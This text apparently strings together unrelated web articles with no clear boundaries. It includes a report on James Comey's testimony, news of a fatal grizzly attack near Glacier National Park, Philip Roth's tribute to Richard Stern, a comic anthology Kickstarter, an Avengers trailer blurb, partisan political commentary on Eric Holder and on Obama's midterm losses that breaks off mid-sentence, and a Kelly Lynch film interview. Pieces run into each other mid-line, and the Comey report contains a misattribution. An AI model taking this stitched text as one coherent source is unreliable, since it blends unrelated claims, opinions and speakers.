“The circumstances, the subject matter and the person I was interacting with” were all factors, Mr. Comey said. He added that he was alone with the president-elect discussing weighty and sensitive matters, and he had doubts about the man he was dealing with.
From their first encounter, “I was honestly concerned that [Mr. Trump] might lie about the nature of our meeting, and so I thought it was important to document it,” Mr. Comey said.
Overall allegations?
Reviews on Mr. Comey’s highly anticipated appearance — and its impact on the Russia investigation and the Trump presidency — were decidedly mixed.
Democrats who had slammed Mr. Comey for his handling of the Clinton email investigation embraced him as a star witness and paragon of integrity. But other than re-enforcing the image of the president as unreliable — which most Democrats already believe — Mr. Comey’s often ambiguous accounts and tentative conclusions provided little traction for talk of legal action or even an impeachment drive against the Republican president.
There were also several uncomfortable moments for the press that has covered the story exhaustively, and vindication for Trump supporters who complain that too many of the most sensational stories are based on unidentified, unreliable sources.
Several major news outlets predicted that Mr. Comey would not back Mr. Trump’s claims that he was told three times he was not a source of the Russia investigation, but the former FBI chief corroborated the bulk of Mr. Trump’s account.
Mr. Comey also dismissed a major New York Times scoop claiming his campaign repeatedly contacted Russian agents.
“In the main — it was not true,” Mr. Comey said of the story.
He also refused to clearly categorize his interactions with Mr. Trump as obstruction of justice.
‘Not in those words’
About an hour into the hearing, Sen. James E. Risch, Idaho Republican, pressed Mr. Comey about the exact wording of Mr. Trump’s request for him to drop the Flynn probe. Mr. Risch focused on the ambiguity of the words Mr. Comey says Mr. Trump used in his memos.
“Did he direct you to let it go?” Mr. Risch asked.
“Not in those words,” Mr. Comey replied.
Mr. Comey further explained that Mr. Trump asked for “loyalty” and that he found it “very disturbing.” But he declined to say whether he considered the request an obstruction of justice.
Mr. Comey’s written testimony to the committee, released Wednesday, detailed memos that the former director kept, describing a number of what he deemed troubling interactions with the president.
Mr. Comey acknowledged they had a rough first interaction on Jan. 6, during the presidential transition, when the FBI director went to brief Mr. Trump on a “salacious” but unsubstantiated memo compiled by a former British intelligence official claiming Mr. Trump had hired prostitutes and engaged in unusual sexual practices in a Russian hotel.
“Our relationship didn’t get off to a great start given the conversation I had to have on Jan. 6,” Mr. Comey said.
When senators inquired about the anti-Trump dossier, Mr. Comey declined to comment in a public setting.
Mr. Comey revealed for the first time that he had turned over the memos to Mr. Mueller and mentioned the special counsel’s investigation several times.
“That’s Bob Mueller’s job to sort that out,” he said in response to one of the questions regarding obstruction of justice.
On the way out of the hearing, many Republicans were heard saying they hoped Washington could now move on and give Mr. Trump a chance to do his job without Russian election probes distracting him. Democrats, meanwhile, sounded like they were gearing up to hear what Mr. Mueller might do next.
• Stephen Dinan and Andrea Noble contributed to this report.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Signs indicating an area closure due to bear activity on June 30, 2016 after Brad Treat was killed while mountain biking near West Glacier. Greg Lindstrom | Flathead Beacon
Updated: June 29, 9 p.m.
A West Glacier man was killed by a grizzly bear Wednesday afternoon while riding his mountain bike on a forested trail in the Halfmoon Lakes area south of Glacier National Park.
Flathead County Sheriff Chuck Curry identified the victim as Brad Treat, 38, of West Glacier. Treat grew up in the Flathead Valley and graduated from Flathead High School, where he was a standout distance runner, in 1996.
Authorities have closed the area around Halfmoon Lakes as the investigation continues. As of 8:30 p.m., the bear that attacked Treat had not been found.
Treat and another man were mountain biking on U.S. Forest Service land near Halfmoon Lakes on Wednesday, according to Curry. The initial investigation suggests the two bikers surprised the bear around 2 p.m. and Treat was taken off his bike by the animal. The second rider was able to escape uninjured and summon help.
Treat was pronounced dead at the scene.
The Flathead County Sheriff’s Office, the Montana Fish, Wildlife and Parks’ Wildlife Human Attack Response Team and the U.S. Forest Service are investigating the incident.
Staff at the nearby West Glacier KOA along Halfmoon Flats off U.S. 2 said the campground guests have all been briefed of the incident.
Treat worked as a law enforcement officer for the Forest Service.
“Brad was an integral member of our area law enforcement team and a friend to us all. Our thoughts and prayers are with his family tonight,” Curry said.
Growing up in the valley, Treat developed into one of Montana’s best distance runners and helped form the long-distance dynasty at Flathead High School in the mid-90s. Along with his all-state accomplishments and tireless dedication, Treat’s kind-hearted demeanor left a lasting mark on the Brave program for years to come, according to his former coach, Paul Jorgensen.
“He’s one of the nicest kids I’ve coached,” Jorgensen, who has coached Flathead runners for nearly 40 years, said Wednesday night after learning of Treat’s death.
“One thing that really impressed me about him, we were running at the Missoula Invitational (cross country meet) and he was the top runner. He finished first and then he turned around and congratulated every kid that finished. That really impressed me. I told my kids that story off and on over the years and then my kids started doing that, too. Brad’s the one who started that. That’s the kind of kid he was.”
With Treat as one of its all-state distance runners, Flathead won a cross country state championship in 1994 and track state championships in 1995 and 1996. Treat’s 1996 time of 9:14.30 in the 3,200-meter race was the fastest in Montana history by a prep runner until it was broken three years later. He won individual state championships in the 1,600 and 3,200 as a senior.
“He was a really good runner but he was also a kind-hearted person who cared about people,” Jorgensen said.
Jorgensen said Treat’s death is a tragic loss for the entire Flathead Valley, the running community and the Flathead High School community.
The death is the first fatal grizzly attack in Northwest Montana since 2001, when an elk hunter was killed on the Blackfoot Clearwater Game Range near Ovando.
Grizzly bear attacks are rare in the Glacier region but not unheard of. Since Glacier National Park was created in 1910, there have been 10 fatal grizzly attacks in the national park, the most recent in May 1998 when a 26-year-old man was killed hiking in the Upper Two Medicine Valley.
Northwest Montana is home to the largest grizzly bear population in the lower 48 states with approximately 1,000 bears living in the region.
There have been six fatal grizzly bear attacks since 2010 in the Yellowstone region of Montana, Wyoming and Idaho.
This story will be updated when more information becomes available.
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commentsIn memory of Richard Stern.
I met Dick in the fall of 1956, and thus was initiated a 57-year-long literary conversation and friendship. In 1956, Dick had only recently joined the English department of the University of Chicago where I was teaching freshman composition. He was 27, I was 23. I had just returned from the army to Chicago, where I’d earlier received an MA in English. Dick and I started to talk immediately about writers and books and didn’t stop until a week or two before his death.
His assiduous engagement with everything literary never diminished. He was reading fiction, writing fiction, teaching fiction (over the phone to me; in bed with his wife, Alane) right down to the end. For me, as his friend and fellow writer, his appetite for book talk was an inexhaustible treasure.
Dick played an important role, maybe the most important role, in straightening me out when I was first getting going in the mid-’50s. One noon shortly after we’d met as colleagues, we were having hamburgers together at the old University Tavern and, for no purpose other than to amuse him over lunch, I recounted my adventure a few summers back in Jewish suburbia with the dazzling daughter of a prosperous dealer in plate glass. Because Dick was such an eager listener and so enjoyed laughing, I was encouraged to tell the story in all its fullness, embellishing along the way for comic effect.
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When lunch was over and we were walking back to campus, Dick said, “Write that, for God’s sake. Write that story.” It hadn’t occurred to me. Write the story of an ephemeral summer romance in inconsequential Maplewood, New Jersey? I wanted to be morally serious like Joseph Conrad. I wanted to exhibit dark knowledge like Faulkner. I wanted to be deep like Dostoyevsky. I wanted to write literature. Instead I took Dick’s advice and wrote Goodbye, Columbus. I would remain responsive to his literary wisdom forever after and would put before him, for him to challenge with his critical vigor, the final draft of virtually everything I wrote.
What did I prize in him? What do I most miss about him? His scrutinizing engrossment with every last vicissitude of existence, his raptness and his rapture, his lucidity, his being perpetually wide awake as if he were being stung by life, his childlike geniality, his gentle and not-so-gentle force, the swiftness of his perspicacity, his impulse to celebrate, his miniscule antipathies and his benevolent urges and his wide-ranging fellow feeling, his imaginative merging with other lives, the bonding of his vulnerability to his fortitude, a steely literary integrity—beyond everything, the way he was weighted down by love. Because the wellspring for his daemonic attentiveness was, in the widest sense, love.
Frequently, while listening to Dick speak of a new colleague, project, sorrow, hardship, idea, improbability, of another blast of news from the great fallen world—while listening to his vivid, focused, unfailingly unhackneyed responses—the same three words would be catalyzed in me: “You’re so human.”
A large, excitable man, highly delighted and of marvelous intelligence, with his face pressed tight to the window.
A man for whom nearly every encounter was unforgettable and for whom fulfillment was no fantasy.
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A man who could conceal little and from whom little could be concealed.
His mindful presence here, his joy in being among us, his absorption in everything both within and beyond his ken, seemed never to slacken. Living, for Dick, was an unceasing stimulant and the engagement with life never ceased to evolve. Everywhere this urbane and not entirely unwily man went, mankind flabbergasted and enkindled him. His direct apprehension of the real was amazing.
He wrote many wonderful books, beginning in 1960 with the comic gem Golk, a prophetic fable, as it turns out now, more than 50 years later, of the tyranny of mass entertainment and the insidiousness of surveillance. To me his masterpiece is his sixth published novel, Other Men’s Daughters. I’ve reread it twice since Dick’s death. If I may, I’d like to repeat what I wrote about Other Men’s Daughters at the time, in 1973, in the first flush of delightful discovery.
There’s much to admire in this book—the precision, the tact, the humane feeling, the tremendous charm—but what stands out particularly is the intelligent Harvard physiology professor who is (truly) its hero. A blend of restraint, decorum, rampant courtliness and atrophied eroticism, he is a perfect target for the wise and witty Cambridge student-beauty of the Sixties, coutured in jeans and armed with the Pill. And she is his text in the physiology of Love....The theme is Leaving Home, departing the familiar and the cherished for erotic renewal. Richard Stern’s accomplishment (here, as in all his work) is to locate precisely the comedy and the pain of a particular contemporary phenomenon without exaggeration, animus, or operatic ideology.... In all, it is as if Chekhov had written Lolita.
Aside from being a novel shapely, penetrating, accessible without being simple in any way, perfect in all its parts and proportions—in its distribution of sympathy, in its graceful narrative jumps as in its artful shifting points of view—Other Men’s Daughters belongs side by side with the strongest of the books that have been written about the historical upheavals and extreme transformations that made so astonishing to the Americans who lived through it the turbulent decade—to be exact, the 11 years—beginning with the shock of President Kennedy’s assassination, extending through the horrors of the Vietnam war, and concluding with the resignation of that most devious of all devious commanders-in-chief, Richard Nixon.
In its modest way—precise and elegant at every turn, no page of prose that isn’t unostentatiously bejeweled and intimately evocative while simultaneously dense with spot-on intelligence—Other Men’s Daughters illuminates a decisive turning point in American mores. The novel reminds us of where we were, morally speaking, when the vast assault upon convention, propriety, and entrenched belief began to challenge authority, high and low, and of the wreckage that caused, the theatrics it fostered, the hope and euphoria and intemperance it quickened. The novel reminds us too of the casualties that were taken by the generation of previously hidebound adults who comprised the first wave to hit the beaches of protean American prudery.
I would contend that in its own felicitous small-scale way, Other Men’s Daughters is to the distinctive character of the ’60s what The Great Gatsby was to the ’20s, The Grapes of Wrath to the ’30s, and Rabbit Is Rich to the seventies: a microscope exactly focused on a definitive specimen of what was once the present American moment.
Golk, Europe, In Any Case, Stitch, Other Men’s Daughters, Natural Shocks, A Father’s Words, Pacific Tremors, exquisitely imagined and surpassingly executed by one of our era’s most distinguished, if unheralded, novelists and men of letters, Richard Stern, who was born in Manhattan on February 25, 1928, and for decades, in the environs of the University of Chicago, lived to the hilt the life of the mind and the imagination (to be sure, tempered, as his biographical record will show, by the daily trials, the inescapable crises, the stunning losses and unavoidable conflicts engendered simply by going about one’s business for eighty-four years) and who, after enduring everyman’s thousand ups and downs, died beside his adoring, brilliant, devoted wife, far from brainy Hyde Park and its renowned university, in his unlikely last home, on little Tybee Island, the easternmost point in Georgia, a very simple place with one main street and a nature sanctuary, on January 24, 2013—a magnanimous friend, a formidable writer, an exceptional man.
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From the introduction to Other Men’s Daughters by Richard Stern, by Philip Roth. Copyright © 2016 Philip Roth, used by permission of The Wylie Agency LLC and NYRB Classics.About
Detail from the cover by Robert Sammelin
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About SIN
Over 150 full colour pages, 20 talented creators, 10 imaginative and incredible stories! The tome is sized at a sleek 5.3" x 8.2". The original cover is illustrated by Robert Sammelin (Cimarronin, Zero, Mirror's Edge - Senior Concept Artist at DICE) our first stunning variant cover is illustrated by Joanna Krótka, and a final exclusive variant created by Rex Cable. The variant covers are only available exclusively through this Kickstarter!
More than anything you will receive an amazing collaboration between undiscovered, emerging talent and published and award winning creators!
The teams have already written the stories and begun production of the content, but we need your help to complete and publish the anthology.
Our story-specific rewards truly immerse you in the world of SIN. From the minds of every creative team you will find reward tiers with unique items that accompany the physical copy of the anthology.
Penstrike Publishing is based out of Calgary, Canada. Our funding goal is in Canadian Dollars.
Our neighbours South of the border in the USA get to take advantage of their strong dollar, and our fellow Canadians: you won't be converting through a high exchange rate - what you see is what you are paying!
Preview Pages from SIN
The Stories - Illustrators & Writers:
“Good Intentions”
Alan Bao (Cicada, Lightspeed Magazine)
It is 33 AD and Valerian, the self anointed Anti-Christ has grown accustomed to worldly pleasures and does not wish to initiate the rapture. What follows is a tale that spans millennia where Azrael – an agent of the Lord, continues to hunt Valeria and force him to carry out his duty.
“Dream Pavilion”
Rafael Loureiro & Alex Moya (NextQuest: Beyond Sword & Sorcery)
Maria works at a VR simulation center, a workplace full of disgusting fantasies and monotony, where she finally decides to plug into virtual fantasy world. What begins as an innocent indulgence quickly takes another form when a new companion opens her eyes to new possibilities.
“BLINDER”
Ethan Brewerton & Jeremy Shepherd (The Engineer: Konstrukt, PopGun, Hex: The Lost Tribe)
In a world where the light of the sun exposes people’s true natures, technology is introduced to hide our secrets and the cultural norm is to not question what else could be. Yet Thomas finds himself at odds with that complacency and must decide whether to pursue his curiosity further or let sleeping dogs lie.
“Refuge of The Unwilling”
Joanna Krótka & Iconnu James
A reclusive, genius entrepreneur seeks to save the human race from itself by using an experimental time travel technology. Yet his own detachment and personal demons take shape, it is a race against time where the fragility of his mental health must be preserved to prevent our extinction.
“0’s & 1s”
Devmalya Pramanik (Nightbreed,HIT Squad) Deniz Camp (Millarworld Talent Award Winner, MURDER ONE, Maxwell's Demons)
In a future where economic caste systems are rigidly enforced and robotic labour has driven most of the population into the deepest depths of poverty, two revolutionaries make a stand.
“RED”
Derek Chase & Gavin Falcon
The history of man is penned in red, with one thing abundantly clear: When the wrath of our leaders becomes a norm, revolution will surely soon follow.
Art for SIN
“MANY HAPPY RETURNS”
Diego Guerra (Desterrada) & Deniz Camp (Millarworld Talent Award Winner, MURDER ONE, Maxwell's Demons)
With the discovery of the TELOMORE technique, the human race first became immortal then began systematically resurrecting past generations. Death is no longer a concern, but what new horrors emerge?
“KAYLA”
Valdeci Nogueira & Zack Baker
A true story, this tale follows the narrator relocating an aging Uncle, a tragic figure leading a life hid from his entire family. The slow discovery of his loneliness and traumas of the past reveal remnants of a life once-lived, and questions of underlying failure.
“Two Days Late & A Dollar Short”
Dave Mims & Andrew Jackson (Halfworld: The New Pioneers, Everyman)
A drifter’s car breaks down and he seeks refuge in a nearby diner where he enlists the aid of a mechanic, yet skills don’t come cheap; and the drifter will soon learn the high cost of auto maintenance.
“SLEEP OF REASON”
Zi Xu & Deniz Camp (Millarworld Talent Award Winner, WAR INTELLIGENCE, Maxwell's Demons)
It's been 7 years since sleep was abolished and the human race became free to live, and work, every hour of every day. 3 years ago something went horribly wrong and Callie, the last Dreamer, went on the run, struggling to keep the dream alive in a world that has woken to nightmare.
Pencil and Ink Pages from SIN
Variant Cover by Joanna Krótka
The Budget
The majority of the budget will be shared amongst the creators (authors and illustrators) for their labor. The other 38.5% is shared amongst logistical costs like printing and Kickstarter fees.
Supported ByWe got our first real glimpse of Avengers: Age of Ultron last October after a clip leaked online, and now the second trailer has arrived. Suffice to say that things aren't looking too good for the Avengers in Joss Whedon's upcoming film. "Everyone creates the thing they dread," intones James Spader's Ultron, as the camera lingers on Robert Downey Jr.'s Tony Stark — further cementing rumors that Ultron is the result of a Stark project gone awry. Making a brief appearance as well is Andy Serkis (Gollum, The Lord of the Rings trilogy), along with a scantily clad figure we can't yet identify. But the real action comes at the end with an extended look at Iron Man, in full Hulkbuster armor, taking on the Hulk in a massive fight: a fight he probably knew would have to happen sooner or later.
Things are going to get very, very messy.Rep. Darrell Issa (R-CA) told Breitbart News Wednesday that documents the Obama administration may be forced to produce regarding Operation Fast and Furious could implicate former Attorney General Eric Holder and his staff.
On Tuesday, a federal judge invalidated President Barack Obama’s use of “executive privilege” to prevent the documents from being provided to a congressional investigation, saying that some of the material had already been cited by the administration in public. The judge will hear more arguments before ordering the documents released.
Issa told Breitbart News that his continuing investigation into Fast and Furious could uncover possible criminality by former Attorney General Eric Holder and his staff, thereby providing a new incoming administration with the facts they would need to bring charges.
Issa said:
The next administration could well choose to deal with people’s crimes, particularly the conspiracy to cover this up, to falsely mislead the American people. There were a number of areas in which criminal activity could alleged, and as it stands right now the biggest question is that Eric Holder swore he didn’t know about this a number of times. And some of that has been proved wrong. If we’re able to see that his hand-picked US Attorney Dennis Burke was involved in communicating to people in the justice department that would indicate a number of people testified falsely.
He stressed that he believes it is important to remember the Republican candidates are the ones most likely to pursue charges relating to Fast and Furious. He said they would do this both out of a commitment to enforcement of the rule of law, and also because evidence of “false statements”–if such evidence is found–would mean that those who made them “knowingly let felons gain access to weapons for crimes.”
Regarding a.50 caliber Fast and Furious sniper rifle discovered at the hideout of Mexican drug cartel leader El Chapo’s hideout, Issa quickly confirmed that the gun is powerful enough to “bring down a helicopter.”
Issa said:
The.50 caliber rifle has a characteristic that the cartels choose it for–which led to the purchase of those rifles during Fast and Furious. To put it simply, a.50 caliber rifle can bring down a helicopter when that helicopter is over a scene. In 2015–and at least once before–helicopters were brought down in Mexico while trying to cover the scene and stop the fleeing of cartel members.
He added that cartels can use the weapon “to stop a vehicle in its tracks by basically blowing away the engine block.”
Fox News reported that 34 of the approximately 2,000-2,200 guns sold and smuggled during Fast and Furious were.50 caliber rifles. The one recovered from El Chapo’s hideout is the second such.50 caliber rifle recovered with ties to Fast and Furious.
A rifle used in an Islamic terrorist attack last year against a Muhammad cartoon contest in Texas also reportedly came from Operation Fast and Furious.
Follow AWR Hawkins on Twitter: @AWRHawkins. Reach him directly at awrhawkins@breitbart.com.A moment of real introspection from President Barack Obama (or perhaps Valerie Jarrett)? Not really, no. After a flop in his attempt to spin the midterm elections as unconnected to his presidency on Wednesday, Obama offered a slightly different deflection to Bob Schieffer on yesterday’s Face the Nation. Despite declaring a month ago that “every single one … of my policies” was on the ballot last Tuesday, Obama now says that he takes responsibility for the failure in Democratic Party politics that led to the worst midterm election in decades for Democrats:
President Obama on Sunday tersely summarized Democratic losses in last Tuesday’s midterm elections, saying simply, “We got beat.” Obama said the buck ultimately stops with him during an interview with CBS’s “Face the Nation,” his first Sunday show appearance since September. “And so whenever, as the head of the party, it doesn’t do well, I’ve got to take responsibility for it,” Obama said. “The message that I took from this election, and we’ve seen this in a number of elections, successive elections, is people want to see this city work.” He was reacting to critical comments made by Senate Majority Leader Harry Reid’s (D-Nev.) chief of staff, who pointed to Obama’s low approval rating as one explanation for losses on Election Day.
Schieffer pressed him on getting ripped by Harry Reid’s office as the reason for the collapse on Election Day. Obama responds by stammering through a few versions of Harry Truman’s “The buck stops here,” which for some reason Obama can’t quite quote correctly, before allowing that the head of the party who just got its knees cut off by the voters might bear some responsibility for the loss.
However, Obama insists that the voters didn’t oppose his policies, but his supposed lack of interest in sales pitches. Obama argues that the failure in the midterms and his approval ratings relate to “a failure of politics there that we’ve got to improve on. … I think we have not been successful in going out there and letting people know what it is that we’re trying to do and why this is the right direction.” No one who has any connection to politics can argue with a straight face that this White House lacks for messaging effort, though; they impose strict discipline on messaging, aggressively challenge any criticism, and have plenty of proxies making media appearances on their behalf. Obama spent most of the midterm cycle making speeches at fundraisers, pushing his messaging and his policies. And yet, during that same period, Obama’s numbers plunged and the illusion of competence in his administration disintegrated.
In other words, voters rendered a substantive verdict, not a public-relations verdict. Plus, the notion (first floated by Harry Reid) that the loss was a signal for bipartisanship is complete bunk. The only incumbents handed their walking papers in the Senate were Democrats, who didn’t even win one of the open seats vacated by Republicans in this cycle. On the contrary, Democrats lost almost every open seat vacated by their own members [correction: not Michigan] and didn’t come close in what had been presumed to be razor-thin races. One could have made that argument about the 2012 election, in which voters left the status quo in place. Clearly, though, voters got tired of Democrats, and not just because of their politics.
At least Obama didn’t blame the loss on “a flawed computer model“:
The Daily Beast has learned that in the crucial swing states of Iowa, North Carolina, and Colorado, the DSCC made a decision in September to put an increased emphasis on persuasion, talking undecided voters into supporting Democratic candidates rather than turning out its base voters. In other words, instead of going after the type of people who reliably vote Democrat but don’t reliably show up on Election Day, they focused on voters who were somewhat more likely to vote but hadn’t firmly made up their minds These undecided, persuadable voters were identified via a computer model that ranked and ordered voters as targets of persuasion not just through volunteer contact but through direct-mail paid media as well. The problem was that, |
lady ends up taking in this little orphan. I thought it was very sweet, and I thought, “Well, she can finally see what I do for a living.” As opposed to showing her, say, Drugstore Cowboy, which, uh, wouldn’t really be appropriate. [Laughs.]
It was originally going to be me, Alec Baldwin, and Kevin Spacey, which would’ve been a whole different situation. John Hughes had just come off of Home Alone, he was the biggest director on the planet, and it was really exciting to be with him on what was the last movie he ever directed. I loved working with him, and it was interesting to see just how he worked and how he got performances. He really was very clear. It was almost like puppetry, where he had an idea about how you looked, your expressions, and your intonations. It was very precise. But somehow he made it feel organic, like it came from me as well. But he was very specific with what he wanted and very kind about how he got it. I liked working with him a lot. He and Jimmy [Belushi] had a hard time, however.
Alec Baldwin had to walk because he was doing Streetcar [Named Desire] with Jessica Lange, and the rehearsals on that had kind of accelerated because they’d decided that they were going to do them early. So he had to drop out, and I was heartbroken. And then Kevin Spacey got a different play, so his part was recast as well. Those were two guys I knew really well, but I’d never met Jimmy before, and then he and John didn’t get along very well, so I kind of felt like a mom dealing with two 12-year-old boys. “Okay, now you stop it, you go over there and stay there until you can behave.” [Laughs.] It really was almost like that for me. Once, Jimmy had a monologue, and John just about lost it trying to get it filmed. One time production was stopped, and someone said it was because Jimmy needed softer toilet paper or hand towels or something ridiculous like that, and I was, like, “Well, that can’t be true.” I don’t really know what was going on between the two of them, but they, uh, definitely weren’t the best of friends. What I thought would be this cute, sweet little movie experience ended up going on for something like five months, and so much money was spent. It was insane.
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I do remember that I met the heads of every studio, because they all came to sort of pay homage to Hughes, because at the time he’d just had this huge, huge hit. But there was a lot of diabolical energy coming out of that production between those two guys. At one point, Mitch, who would come in to visit me, was the stand-in for the little girl—Alisan Porter—because Jimmy was not going to do off-camera work anymore because he was so angry at John. But even with all of that going on, it still remains one of those movies where people say, “Aw, I loved that movie when I was a kid. It was so sweet!”
Road House (1989)—“Doc”
KL: Well, there you go. I mean, what can you say? I got a call from my agent, and I had just done Drugstore Cowboy, which was a little different, but he said, “There’s this other movie.” I was actually one of the last contract players, I guess, but I had a two-picture deal with United Artists, which I don’t remember signing it, but apparently I had it, and that’s how Road House first came up. The actress who’d been cast first to play against Patrick Swayze was Annette Bening, but she was fired. Patrick just didn’t feel any chemistry with her or something. I don’t know what it was. But I didn’t know who she was, I didn’t know what this movie was, all I knew was who Patrick Swayze was, and that’s because he’d just done Dirty Dancing, which was a big movie. And I thought, “Man, he’s a really interesting guy,” so I took the script, but then I read it and I was like, “Okay, I don’t understand what this is. There’s a big-wheel truck, there’s a bad guy, there’s a doctor in a mini-dress, and there are bouncers.” It was just, like, a goulash. [Laughs.] So many elements were thrown into this movie that it just didn’t make any sense to me.
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But I took a meeting with the producer, the famous Joel Silver, who did not disappoint as far as offering a larger-than-life personality. He was hilariously funny and charming and a maniac. We sat in his office, and he basically talked me into doing it. He said, “Look, first of all, I don’t make art, I buy it,” which is his famous quote, but here I am, this young actress trying to become an artist, just coming off Drugstore Cowboy, listening to him and just going, “Uh-huh.” But he said, “I promise you that this will be the best drive-in movie ever made. It will be a movie that people will love. It will be fun, we’ll have a great time making it, and just trust me.” And then he just looked at me and said, “And by the way, you don’t have a choice, you know. You’re under contract. You can say ‘no’ and we can get really difficult, but we want you and you should do this. It could be great for you.” So basically he said, “You have to do this.” [Laughs.] So I said, “Okay.”
So I showed up for work, and I have to say that, between John Doe, Jeff Healey, and all these musicians, plus working with Sam Elliott and Patrick, it was like a barbeque on set every day. Just a really good time. All that “pain don’t hurt” and “I used to fuck guys like you in prison,” all those lines, we would be roaring at the time. I mean, it was just hilarious, you know? But no one winked at it. Everyone played it straight. I wore my tablecloth miniskirt dress, and we just had the best time. And I think it shows. And it lives on. I think it’s playing on some network somewhere in the universe every single day, probably even as we speak. It’s pretty girls, guys fighting, good guys and bad guys… and mullets! We all had a mullet, for God’s sake! [Laughs.] I remember saying, “How are you getting my hair to do that?” Because my hair’s really straight. But they put stuff in it and made it happen. It was amazing.
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So, yeah, it lives on. In fact, my daughter was at the Fairfax Theater, where they had a Road House trivia night, and she was, like, “You’ve got to go! A bunch of us are going!” They said it was like Rocky Horror, where they do all the lines and everything. So she’s like, “You’ve got to come! You’ve got that dress. I bet it still fits you. Come on, you’ve got to put that dress on!” I was like, “Oh, I wish I could, but I just can’t. You guys go have a good time with it, but…” [Laughs.] It’s so great that it’s such a fun thing for everybody. It is what it is, but people love it for that.
AVC: It seems like your sex scene in the film must be one of the most uncomfortable in cinematic history, being up against a rock wall and all.
KL: Oh, I know, but I was padded. [Laughs.] No one knows, so it looks more painful that it was. They really liked everything about the way that scene looked, with the blonde hair against the rocks behind me, but I was like, “Isn’t this kind of… mean?” So they put a thin padding under my dress, so you can’t see it. But he’s still slamming me against the rocks, so I had to be careful not to hit my head. Thank God Patrick was so strong. He could’ve carried me around that room forever.
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By the way, speaking of Bill Murray, every time Road House is on and he or one of his idiot brothers are watching TV—and they’re always watching TV—one of them calls my husband and says [In a reasonable approximation of Carl Spackler], “Kelly’s having sex with Patrick Swayze right now. They’re doing it. He’s throwing her against the rocks.” [Away from the receiver.] What? Oh, my God. Mitch was just walking out the door to the set, and he said that Bill once called him from Russia.
[pagebreak]
AVC: Sorry, not to dwell on this, but you said that Bill Murray “or one of his idiot brothers” will call. Which brothers are we talking about?
KL: All of them! Joel has called; Brian Doyle has called. They will all call! Any and all of them!
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AVC: This was already an awesome story, but now it’s even better.
KL: I know, right? I dread it. If I know it’s coming on—and I can tell when it’s coming on, because it blows up on Twitter when it is—I’m just like, “Oh, my God…” And God help me when AMC’s doing their Road House marathon, because I know the phone is just going to keep ringing. It doesn’t matter if it’s 2 or 3 in morning. “Hi, Kelly’s having sex with Patrick Swayze right now…”
Desperate Hours (1990)—“Nancy Breyers”
KL: Well, that was another amazing… I feel like not only have I worked with every leading man of a particular era, but I worked on movies that were just incredible experiences, if sometimes for some crazy reasons. But those were weird years, you know? The ’90s… There was a lot of money and not a lot of people running the store. And Michael Cimino is famous for making these grand, operatic, money-burning movies. He really pursued me. I loved the script, and I was aware that the story was based on… Well, the original movie was based on a case that Richard Nixon, as a young lawyer, presided over. I just loved the reality of the story about this lawyer, this public defender who fell in love with her client and gave up everything to be with him.
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I had a woman lawyer in L.A. who I was following for about a month, and I went to every trial with her, I went to prisons with her and watched her, and… I wanted to base my character visually and emotionally on her, because she was a really interesting woman. Very sexy but, unlike the case of the girl I played, she didn’t wear a lot of makeup. She wore very tight clothing and she was incredibly smart. She would show up with a thin little file of papers, and the prosecutors would have, like, boxes of things, and she would win. Usually her clients were guilty—they were gangbangers, often—and her name was Oksana, and I would say, “Oksana, how do you live with yourself?” And she said, “You know what? I make the law better. If they knew what they were doing, they would easily win their cases. But they don’t, because they’re lazy and they don’t care and they’re not good lawyers.” And that was her way of justifying it. And I was like, “Yeah, but there’s a guy who kidnapped somebody, who shot somebody, who’s now free.” And she would say, “Yeah, well, you know, they’ll end up in prison again because they’re a bad guy. The system will take them in. But I’m not here to make a moral judgment. I’m here to make the law stronger.” That was her thing. And I thought, “Oh, she’s great!” She wore… I’d say the shirts might’ve been a little too low once in awhile, the skirts might’ve been a little too tight, but she wasn’t the full-hair-and-makeup type that Michael Cimino always has.
If you look at Michael’s movies, especially with Mickey Rourke, there’s always a girl who is the designated… what I call the drag queen, someone who has too much makeup and hair, who’s usually a reporter or, as in my case, a lawyer. But it’s always, like, “slash supermodel.” And I didn’t know at the time that Michael was kind of… interested in dressing like a woman. That’s the Michael Cimino we know today, but at the time I didn’t know what his issues were with femininity and all those things. And during Desperate Hours, we started to see him wearing higher heels and fixing his hair like a woman and doing different things, and I said, “Michael, I don’t really want to wear this makeup, I don’t want this hairdo, and I know you’re having me thrust my leg out in this scene like I’m doing a pantyhose commercial, but I’m just a lawyer!” And he would get angry and say, “I don’t want to look at you until you get your hair and makeup on in that trailer. You look like a 12-year-old boy!” And me, in my mid-20s… I did not look like a 12-year-old boy. I thought I looked pretty good! [Laughs.] But I was like, “Okay…”
And then I came to the scene with Mickey in the hallway, where I’m springing him and we’re running out of the courthouse, and there was an exchange between the two of us. We asked each other if we loved each other and need each other and that sort of thing, and we kind of nod and get out of there, a one last look because we could be shot, we don’t know what we’re doing. And Michael came in and took the “love” part out of it. He said, “It’s not about love.” And I looked at him and I said, “A woman in my position would not gamble on losing everything for any other reason. She loves this guy.” And he says, “No, you just want to get laid.” I said, “Well, how long do you think it would take a girl like me, who looks like I do here, to have sex with a guy like this?” I mean, it was Mickey. I’m like, “How long do you think it would take, Michael? A second…?” Probably you’re right. Probably it’s a lustful kind of thing that she’s mistaking for love, but that’s something I don’t want to even be conscious of. I want to feel like I’m in love with this man.” And he looked at me and shook his head and said, “No.” And I said, “Okay, here’s the thing: This will be your performance. Because I disagree with you on everything about who this person is. She’s an intellectual. She’s a very wealthy, very successful attorney, and she knows she can get laid. She’s in love with this man. Or she’s confused and she thinks she’s in love with this man, but she’s in a crisis.” And he said, “Actually, the real truth of the story is that you’re really hot, and you just really want to get laid.” [Laughs.] So I said, “Well, then this will be your performance. I will leave my name on the movie, but I can’t take credit. I’ll even ask for line readings.”
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And, basically, that’s how I did the rest of the film. I can’t really take credit for any of it. I thought it was beautiful, as far as the scenery, and there were pieces of it that I believed in and thought were amazing. But it’s all the director’s movie, not mine. A lot of it didn’t make any sense to me. But I loved working with Sir Anthony Hopkins. We’d sit together at lunch and talk about things. And Mickey and I became great friends. We’ve worked together many times, and I’m one of his favorite actors, oddly enough. He wanted me to do The Wrestler with him, which I couldn’t, because I was working on something else, but he’s one of those actors I adore. But, yeah, it was a very weird experience working on Desperate Hours. But I’d just started dating Mitch at the time, too, so I’ve got those memories in there. He kind of rescued me. [Laughs.]
90210 (2010-2011)—“Laurel Cooper”
